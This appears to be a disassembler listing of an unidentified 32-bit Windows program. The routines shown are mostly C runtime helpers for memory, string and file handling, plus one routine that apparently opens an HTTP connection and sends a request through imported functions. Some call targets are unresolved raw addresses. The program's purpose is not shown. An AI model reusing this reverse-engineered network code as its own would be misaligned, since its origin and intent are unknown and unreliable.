		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41A98C
		push	edx
		push	eax
		push	offset dword_43A030
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AA42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACF6	proc near		; CODE XREF: sub_401ACD+279Cp
					; sub_401ACD+72F5p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	dword_4CB05C, 0
		jnz	short loc_41AD62
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CAE38
		test	eax, eax
		jnz	short loc_41AD4B
		lea	eax, [ebp+var_8C]
		push	offset dword_43A194
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41AD4B:				; CODE XREF: sub_41ACF6+40j
		test	[ebp+var_C], 1
		jz	short loc_41AD58
		push	offset dword_43A18C
		jmp	short loc_41AD5D
; ---------------------------------------------------------------------------

loc_41AD58:				; CODE XREF: sub_41ACF6+59j
		push	offset off_43A188

loc_41AD5D:				; CODE XREF: sub_41ACF6+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41AD7A
; ---------------------------------------------------------------------------

loc_41AD62:				; CODE XREF: sub_41ACF6+28j
		mov	esi, offset off_43A184
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi

loc_41AD7A:				; CODE XREF: sub_41ACF6+6Aj
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43A140
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41ACF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB5	proc near		; DATA XREF: sub_401ACD+7714o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43A274
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41B590
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CAE70
		test	eax, eax
		jz	loc_41AF4F
		cmp	[ebp+var_34], ebx
		jbe	short loc_41AE8C
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AE8C:				; CODE XREF: sub_41ADB5+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41AEAA
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AEAA:				; CODE XREF: sub_41ADB5+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41AEC4
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AEC4:				; CODE XREF: sub_41ADB5+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41AEDE
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AEDE:				; CODE XREF: sub_41ADB5+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CAF24
		call	dword_4CAF48
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41AF67
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CAF3C
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41AF6E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CAEE8
		test	eax, eax
		jz	short loc_41AF48
		push	offset dword_43A258
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------

loc_41AF48:				; CODE XREF: sub_41ADB5+18Aj
		push	offset unk_43A21C
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------

loc_41AF4F:				; CODE XREF: sub_41ADB5+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43A200
		push	eax
		call	sub_41B886
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41AF81
; ---------------------------------------------------------------------------

loc_41AF67:				; CODE XREF: sub_41ADB5+153j
		push	offset unk_43A1D4
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------

loc_41AF6E:				; CODE XREF: sub_41ADB5+17Bj
		push	offset unk_43A1A4

loc_41AF73:				; CODE XREF: sub_41ADB5+191j
					; sub_41ADB5+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41AF81:				; CODE XREF: sub_41ADB5+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41AFAC
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409A72
		add	esp, 14h

loc_41AFAC:				; CODE XREF: sub_41ADB5+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	esi
		call	dword_4CAFA8
		push	[ebp+var_4]
		call	dword_4CAFA8
		push	[ebp+var_1D8]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
		pop	ebx
		int	3		; Trap to Debugger
sub_41ADB5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AFE0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B000

loc_41AFEC:				; CODE XREF: sub_41AFE0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41B033
		test	ecx, 3
		jnz	short loc_41AFEC
		add	eax, 0

loc_41B000:				; CODE XREF: sub_41AFE0+Aj
					; sub_41AFE0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B000
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B051
		test	ah, ah
		jz	short loc_41B047
		test	eax, 0FF0000h
		jz	short loc_41B03D
		test	eax, 0FF000000h
		jz	short loc_41B033
		jmp	short loc_41B000
; ---------------------------------------------------------------------------

loc_41B033:				; CODE XREF: sub_41AFE0+11j
					; sub_41AFE0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41B03D:				; CODE XREF: sub_41AFE0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41B047:				; CODE XREF: sub_41AFE0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41B051:				; CODE XREF: sub_41AFE0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41AFE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B05B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+58DAp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41B070
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B0AA
; ---------------------------------------------------------------------------

loc_41B070:				; CODE XREF: sub_41B05B+Ej
		test	al, 83h
		jz	short loc_41B0A8
		push	esi
		call	sub_41DB8B
		push	esi
		mov	edi, eax
		call	sub_41DB25
		push	dword ptr [esi+10h]
		call	sub_41DA72
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41B096
		or	edi, 0FFFFFFFFh
		jmp	short loc_41B0A8
; ---------------------------------------------------------------------------

loc_41B096:				; CODE XREF: sub_41B05B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41B0A8
		push	eax
		call	sub_41B0B1
		and	dword ptr [esi+1Ch], 0
		pop	ecx

loc_41B0A8:				; CODE XREF: sub_41B05B+17j
					; sub_41B05B+39j ...
		mov	eax, edi

loc_41B0AA:				; CODE XREF: sub_41B05B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41B05B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0B1	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40AB31+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41B117
		mov	eax, dword_4DC908
		cmp	eax, 3
		jnz	short loc_41B0DD
		push	esi
		call	sub_41DE77
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41B109
		push	eax
		call	sub_41DEA2
		pop	ecx
		pop	ecx
		jmp	short loc_41B117
; ---------------------------------------------------------------------------

loc_41B0DD:				; CODE XREF: sub_41B0B1+14j
		cmp	eax, 2
		jnz	short loc_41B108
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B108
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 0Ch
		jmp	short loc_41B117
; ---------------------------------------------------------------------------

loc_41B108:				; CODE XREF: sub_41B0B1+2Fj
					; sub_41B0B1+44j
		push	esi

loc_41B109:				; CODE XREF: sub_41B0B1+20j
		push	0
		push	dword_4DC904
		nop
		call	near ptr 27C0000h

loc_41B117:				; CODE XREF: sub_41B0B1+Aj
					; sub_41B0B1+2Aj ...
		pop	esi
		leave
		retn
sub_41B0B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B11A	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040F089p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41B13E
		xor	eax, eax
		jmp	loc_41B1E7
; ---------------------------------------------------------------------------

loc_41B13E:				; CODE XREF: sub_41B11A+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B151
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------

loc_41B151:				; CODE XREF: sub_41B11A+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------

loc_41B15A:				; CODE XREF: sub_41B11A+C4j
		mov	ecx, [ebp+arg_0]

loc_41B15D:				; CODE XREF: sub_41B11A+35j
					; sub_41B11A+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B18F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41B18F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41B174
		mov	edi, eax

loc_41B174:				; CODE XREF: sub_41B11A+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41C310
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------

loc_41B18F:				; CODE XREF: sub_41B11A+49j
					; sub_41B11A+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41B1C2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41B1A5
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx

loc_41B1A5:				; CODE XREF: sub_41B11A+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B1EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B1F2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------

loc_41B1C2:				; CODE XREF: sub_41B11A+78j
		push	esi
		call	sub_41F043
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B1F6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax

loc_41B1DA:				; CODE XREF: sub_41B11A+73j
					; sub_41B11A+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41B15A
		mov	eax, [ebp+arg_8]

loc_41B1E7:				; CODE XREF: sub_41B11A+1Fj
					; sub_41B11A+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41B1EC:				; CODE XREF: sub_41B11A+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41B1F6
; ---------------------------------------------------------------------------

loc_41B1F2:				; CODE XREF: sub_41B11A+9Fj
		or	dword ptr [esi+0Ch], 20h

loc_41B1F6:				; CODE XREF: sub_41B11A+B2j
					; sub_41B11A+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41B1E7
sub_41B11A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B202	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41CFD3+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41B21D
		push	[ebp+arg_4]
		call	sub_41B4D5
		pop	ecx
		jmp	loc_41B49D
; ---------------------------------------------------------------------------

loc_41B21D:				; CODE XREF: sub_41B202+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41B232
		push	[ebp+arg_0]
		call	sub_41B0B1
		pop	ecx
		jmp	loc_41B49B
; ---------------------------------------------------------------------------

loc_41B232:				; CODE XREF: sub_41B202+20j
		mov	eax, dword_4DC908
		cmp	eax, 3
		jnz	loc_41B342

loc_41B240:				; CODE XREF: sub_41B202+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B31E
		push	[ebp+arg_0]
		call	sub_41DE77
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41B2F9
		cmp	esi, dword_4DC900
		ja	short loc_41B2B2
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41E680
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41B2AE
		push	esi
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B2B2
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B292
		mov	eax, esi

loc_41B292:				; CODE XREF: sub_41B202+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41C310
		push	ebx
		call	sub_41DE77
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41DEA2
		add	esp, 18h

loc_41B2AE:				; CODE XREF: sub_41B202+74j
		test	edi, edi
		jnz	short loc_41B2F5

loc_41B2B2:				; CODE XREF: sub_41B202+62j
					; sub_41B202+81j
		test	esi, esi
		jnz	short loc_41B2B9
		push	1
		pop	esi

loc_41B2B9:				; CODE XREF: sub_41B202+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DC904
		nop
		call	near ptr 27D0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B2F5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B2E1
		mov	eax, esi

loc_41B2E1:				; CODE XREF: sub_41B202+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41C310
		push	[ebp+arg_0]
		push	ebx
		call	sub_41DEA2
		add	esp, 14h

loc_41B2F5:				; CODE XREF: sub_41B202+AEj
					; sub_41B202+D0j
		test	ebx, ebx
		jnz	short loc_41B31A

loc_41B2F9:				; CODE XREF: sub_41B202+56j
		test	esi, esi
		jnz	short loc_41B300
		push	1
		pop	esi

loc_41B300:				; CODE XREF: sub_41B202+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC904
		call	near ptr 2890000h
		nop
		mov	edi, eax

loc_41B31A:				; CODE XREF: sub_41B202+F5j
		test	edi, edi
		jnz	short loc_41B33B

loc_41B31E:				; CODE XREF: sub_41B202+43j
		cmp	dword_4DB2FC, 0
		jz	short loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B240
		jmp	loc_41B49B
; ---------------------------------------------------------------------------

loc_41B33B:				; CODE XREF: sub_41B202+11Aj
					; sub_41B202+123j ...
		mov	eax, edi
		jmp	loc_41B49D
; ---------------------------------------------------------------------------

loc_41B342:				; CODE XREF: sub_41B202+38j
		cmp	eax, 2
		jnz	loc_41B45D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B35F
		test	esi, esi
		jbe	short loc_41B35C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B35F
; ---------------------------------------------------------------------------

loc_41B35C:				; CODE XREF: sub_41B202+150j
		push	10h
		pop	esi

loc_41B35F:				; CODE XREF: sub_41B202+14Cj
					; sub_41B202+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B43F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41B423
		cmp	esi, dword_43C2F4
		jnb	short loc_41B3E7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EF9A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41B3AD
		mov	edi, [ebp+arg_0]
		jmp	short loc_41B3DF
; ---------------------------------------------------------------------------

loc_41B3AD:				; CODE XREF: sub_41B202+1A4j
		push	edi
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B3E7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B3C6
		mov	eax, esi

loc_41B3C6:				; CODE XREF: sub_41B202+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h

loc_41B3DF:				; CODE XREF: sub_41B202+1A9j
		test	edi, edi
		jnz	loc_41B33B

loc_41B3E7:				; CODE XREF: sub_41B202+18Bj
					; sub_41B202+1B6j
		push	esi
		push	0
		push	dword_4DC904
		nop
		call	near ptr 27D0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B43F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B408
		mov	eax, esi

loc_41B408:				; CODE XREF: sub_41B202+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h
		jmp	short loc_41B437
; ---------------------------------------------------------------------------

loc_41B423:				; CODE XREF: sub_41B202+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2890000h
		mov	edi, eax

loc_41B437:				; CODE XREF: sub_41B202+21Fj
		test	edi, edi
		jnz	loc_41B33B

loc_41B43F:				; CODE XREF: sub_41B202+162j
					; sub_41B202+1F8j
		cmp	dword_4DB2FC, 0
		jz	loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B35F
		jmp	short loc_41B49B
; ---------------------------------------------------------------------------

loc_41B45D:				; CODE XREF: sub_41B202+143j
					; sub_41B202+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B487
		test	esi, esi
		jnz	short loc_41B46B
		push	1
		pop	esi

loc_41B46B:				; CODE XREF: sub_41B202+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2890000h
		test	eax, eax
		jnz	short loc_41B49D

loc_41B487:				; CODE XREF: sub_41B202+260j
		cmp	dword_4DB2FC, 0
		jz	short loc_41B49D
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B45D

loc_41B49B:				; CODE XREF: sub_41B202+2Bj
					; sub_41B202+134j ...
		xor	eax, eax

loc_41B49D:				; CODE XREF: sub_41B202+16j
					; sub_41B202+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B202	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4A2	proc near		; CODE XREF: sub_41B4C2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41F49D
		test	eax, eax
		jnz	short loc_41B4AC
		retn
; ---------------------------------------------------------------------------

loc_41B4AC:				; CODE XREF: sub_41B4A2+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41F32D
		add	esp, 10h
		retn
sub_41B4A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4C2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+58AEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41B4A2
		add	esp, 0Ch
		retn
sub_41B4C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4D5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40AB31+63p ...

arg_0		= dword	ptr  4

		push	dword_4DB2FC
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41B4D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4E7	proc near		; CODE XREF: sub_41B4D5+Ap
					; sub_41CFC5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41B510

loc_41B4EE:				; CODE XREF: sub_41B4E7+27j
		push	[esp+arg_0]
		call	sub_41B513
		test	eax, eax
		pop	ecx
		jnz	short locret_41B512
		cmp	[esp+arg_4], eax
		jz	short locret_41B512
		push	[esp+arg_0]
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B4EE

loc_41B510:				; CODE XREF: sub_41B4E7+5j
		xor	eax, eax

locret_41B512:				; CODE XREF: sub_41B4E7+13j
					; sub_41B4E7+19j
		retn
sub_41B4E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B513	proc near		; CODE XREF: sub_41B4E7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DC908
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41B537
		cmp	esi, dword_4DC900
		ja	short loc_41B569
		push	esi
		call	sub_41E1CB
		test	eax, eax
		pop	ecx
		jz	short loc_41B569
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41B537:				; CODE XREF: sub_41B513+Dj
		cmp	eax, 2
		jnz	short loc_41B569
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41B54C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B54F
; ---------------------------------------------------------------------------

loc_41B54C:				; CODE XREF: sub_41B513+2Fj
		push	10h
		pop	esi

loc_41B54F:				; CODE XREF: sub_41B513+37j
		cmp	esi, dword_43C2F4
		ja	short loc_41B576
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		test	eax, eax
		pop	ecx
		jnz	short loc_41B585
		jmp	short loc_41B576
; ---------------------------------------------------------------------------

loc_41B569:				; CODE XREF: sub_41B513+15j
					; sub_41B513+20j ...
		test	esi, esi
		jnz	short loc_41B570
		push	1
		pop	esi

loc_41B570:				; CODE XREF: sub_41B513+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_41B576:				; CODE XREF: sub_41B513+42j
					; sub_41B513+54j
		push	esi
		push	0
		push	dword_4DC904
		nop
		call	near ptr 27D0000h

loc_41B585:				; CODE XREF: sub_41B513+52j
		pop	esi
		retn
sub_41B513	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B590	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41B5E3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41B5D7
		neg	ecx
		and	ecx, 3
		jz	short loc_41B5B9
		sub	edx, ecx

loc_41B5B3:				; CODE XREF: sub_41B590+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41B5B3

loc_41B5B9:				; CODE XREF: sub_41B590+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
